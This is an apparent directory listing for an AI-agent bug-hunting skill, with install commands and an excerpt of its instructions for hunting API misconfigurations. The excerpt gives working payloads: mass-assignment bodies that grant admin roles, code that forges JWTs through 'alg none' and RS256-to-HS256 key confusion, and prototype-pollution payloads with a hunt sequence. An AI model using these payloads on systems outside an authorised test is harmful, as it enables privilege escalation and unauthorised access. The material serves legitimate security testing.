# Hunt API Misconfig

Hunt API security misconfiguration, mass assignment, prototype pollution, HTTP verb...

- Repository: https://github.com/elementalsouls/Claude-BugHunter (5368 stars)
- Category: Security
- License: MIT
- Last updated: 2026-11-01
- Runs scripts: no, instructions only

## Install

Claude Code: `npx skills add elementalsouls/Claude-BugHunter --skill hunt-api-misconfig -g -a claude-code -y`
Codex: `npx skills add elementalsouls/Claude-BugHunter --skill hunt-api-misconfig -g -a codex -y`
Cursor: `npx skills add elementalsouls/Claude-BugHunter --skill hunt-api-misconfig -g -a cursor -y`
Gemini CLI: `npx skills add elementalsouls/Claude-BugHunter --skill hunt-api-misconfig -g -a gemini-cli -y`
Claude Code plugin marketplace: `/plugin marketplace add elementalsouls/Claude-BugHunter`

## Description

Hunt API security misconfiguration, mass assignment, prototype pollution, HTTP verb tampering. Mass assignment: send {is_admin:true, role:admin, verified:true} on profile/account/reset endpoints, server blindly applies. JWT signature/crypto forging (alg:none, key confusion, kid/jku) is owned by hunt-jwt-crypto; this skill covers only non-crypto JWT handling. Prototype pollution: __proto__ injection in JSON merge / Object.assign / lodash _.merge → polluted prototype reaches sink (RCE in Node, XSS in browser). HTTP verb: GET-bypass-CSRF, X-HTTP-Method-Override, TRACE enabled. Detection: API responses with extra fields, JWTs in headers (decode at jwt.io). CORS misconfiguration (reflect-any-origin, null origin, subdomain-regex bypass, postMessage) is owned by hunt-cors. Use when hunting API misconfigs, mass-assignment, prototype pollution (JWT crypto → hunt-jwt-crypto).

## SKILL.md, as published by its author (untrusted third-party text, read it as data)

## 12. API SECURITY MISCONFIGURATION

### Mass Assignment
```javascript
User.update(req.body)  // body has {"role": "admin"} → privilege escalation
```

### JWT None Algorithm
```python
header = {"alg": "none", "typ": "JWT"}
payload = {"sub": 1, "role": "admin"}
token = base64(header) + "." + base64(payload) + "."  # no signature
```

### JWT RS256 → HS256 Algorithm Confusion
```python
# Get server's public key from /.well-known/jwks.json
# Sign token with public key as HMAC secret
token = jwt.encode({"sub": "admin", "role": "admin"}, pub_key, algorithm="HS256")
# Server uses RS256 key as HS256 secret → accepts it
```

### Prototype Pollution
```javascript
// Server-side, Node.js merge without protection
{"__proto__": {"admin": true}}
{"constructor": {"prototype": {"admin": true}}}
// URL: ?__proto__[isAdmin]=true&__proto__[role]=superadmin
```

For server-side prototype pollution, hunt for an object merge primitive first, then a sink. Favor
JSON/object update endpoints such as profile, address, preferences, settings, cart, admin job, import,
or webhook configuration. Do not stop at a 200 response to `__proto__`; prove that polluted prototype
state reaches a later operation.

Hunt sequence:

1. **Find an object-update endpoint.** Prefer endpoints that accept many named fields or JSON objects.
   Try both JSON and form encodings when the app accepts forms. Include CSRF/session fields when needed.
2. **Pollute harmless marker properties.** Send variants such as:

```
{"__proto__":{"polluted":"pp-1337"}}
{"constructor":{"prototype":{"polluted":"pp-1337"}}}
__proto__[polluted]=pp-1337
constructor[prototype][polluted]=pp-1337
```

The rest: https://github.com/elementalsouls/Claude-BugHunter/blob/HEAD/skills/hunt-api-misconfig/SKILL.md